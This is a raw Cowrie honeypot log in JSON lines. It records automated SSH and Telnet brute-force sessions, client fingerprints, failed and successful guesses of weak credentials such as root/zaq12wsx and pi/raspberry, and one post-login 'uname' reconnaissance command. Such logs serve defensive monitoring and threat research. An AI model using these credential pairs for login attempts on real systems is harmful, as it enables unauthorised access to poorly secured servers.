{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:56.197906Z","src_ip":"192.109.200.237","session":"b5877044fe87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38562,"dst_ip":"159.203.135.109","dst_port":22,"session":"22bd9e655661","protocol":"ssh","message":"New connection: 192.109.200.237:38562 (159.203.135.109:22) [session: 22bd9e655661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.210187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.215419Z","src_ip":"192.109.200.237","session":"22bd9e655661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.298893Z","src_ip":"192.109.200.237","session":"22bd9e655661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.546464Z","src_ip":"192.109.200.237","session":"22bd9e655661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49154,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e034dc0e342","protocol":"ssh","message":"New connection: 109.237.96.109:49154 (10.17.0.5:22) [session: 7e034dc0e342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.598043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.606369Z","src_ip":"109.237.96.109","session":"7e034dc0e342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.704449Z","src_ip":"109.237.96.109","session":"7e034dc0e342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19871987","message":"login attempt [root/19871987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:58.975546Z","src_ip":"109.237.96.109","session":"7e034dc0e342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45902,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf41c8136c09","protocol":"telnet","message":"New connection: 152.42.224.71:45902 (10.17.0.5:23) [session: bf41c8136c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:59.175610Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:59.632553Z","src_ip":"192.109.200.237","session":"22bd9e655661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:00.072510Z","src_ip":"109.237.96.109","session":"7e034dc0e342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57786,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc2aeecf8c1b","protocol":"ssh","message":"New connection: 192.109.200.237:57786 (159.203.135.109:22) [session: cc2aeecf8c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:01.638411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:01.644615Z","src_ip":"192.109.200.237","session":"cc2aeecf8c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:01.727459Z","src_ip":"192.109.200.237","session":"cc2aeecf8c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:01.985974Z","src_ip":"192.109.200.237","session":"cc2aeecf8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:03.074263Z","src_ip":"192.109.200.237","session":"cc2aeecf8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00932717323303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:03.086364Z","src_ip":"46.60.48.98","session":"3be77efc9ede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57810,"dst_ip":"159.203.135.109","dst_port":22,"session":"993373d569b0","protocol":"ssh","message":"New connection: 192.109.200.237:57810 (159.203.135.109:22) [session: 993373d569b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.086554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.093326Z","src_ip":"192.109.200.237","session":"993373d569b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.176640Z","src_ip":"192.109.200.237","session":"993373d569b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.437020Z","src_ip":"192.109.200.237","session":"993373d569b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.685502Z","src_ip":"192.109.200.237","session":"993373d569b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.691835Z","src_ip":"192.109.200.237","session":"993373d569b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.784204Z","src_ip":"192.109.200.237","session":"993373d569b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:05.789474Z","src_ip":"192.109.200.237","session":"993373d569b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":35492,"dst_ip":"159.203.135.109","dst_port":23,"session":"d00a4e211f03","protocol":"telnet","message":"New connection: 46.60.48.98:35492 (159.203.135.109:23) [session: d00a4e211f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:07.278270Z"}
{"eventid":"cowrie.session.closed","duration":120.00208377838135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:08.042503Z","src_ip":"46.60.48.98","session":"b0e5c0c0e125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57840,"dst_ip":"159.203.135.109","dst_port":22,"session":"091724539edc","protocol":"ssh","message":"New connection: 192.109.200.237:57840 (159.203.135.109:22) [session: 091724539edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:08.514179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:08.521444Z","src_ip":"192.109.200.237","session":"091724539edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:08.604421Z","src_ip":"192.109.200.237","session":"091724539edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118803977966,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:08.682408Z","src_ip":"46.60.48.98","session":"040ffeb08802","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:09.043760Z","src_ip":"192.109.200.237","session":"091724539edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.108646154403687,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:09.284200Z","src_ip":"152.42.224.71","session":"bf41c8136c09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:10.131577Z","src_ip":"192.109.200.237","session":"091724539edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45012,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b69df2ee937","protocol":"ssh","message":"New connection: 192.109.200.237:45012 (159.203.135.109:22) [session: 0b69df2ee937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:12.226992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:12.231998Z","src_ip":"192.109.200.237","session":"0b69df2ee937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:12.315854Z","src_ip":"192.109.200.237","session":"0b69df2ee937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:12.567785Z","src_ip":"192.109.200.237","session":"0b69df2ee937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:13.655514Z","src_ip":"192.109.200.237","session":"0b69df2ee937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45028,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9da6a43adb","protocol":"ssh","message":"New connection: 192.109.200.237:45028 (159.203.135.109:22) [session: 8c9da6a43adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:15.631710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:15.636976Z","src_ip":"192.109.200.237","session":"8c9da6a43adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:15.728421Z","src_ip":"192.109.200.237","session":"8c9da6a43adb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:15.979880Z","src_ip":"192.109.200.237","session":"8c9da6a43adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:17.171217Z","src_ip":"192.109.200.237","session":"8c9da6a43adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45042,"dst_ip":"159.203.135.109","dst_port":22,"session":"d33b4dc2597b","protocol":"ssh","message":"New connection: 192.109.200.237:45042 (159.203.135.109:22) [session: d33b4dc2597b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:19.015766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:19.025323Z","src_ip":"192.109.200.237","session":"d33b4dc2597b","protocol":"ssh"}
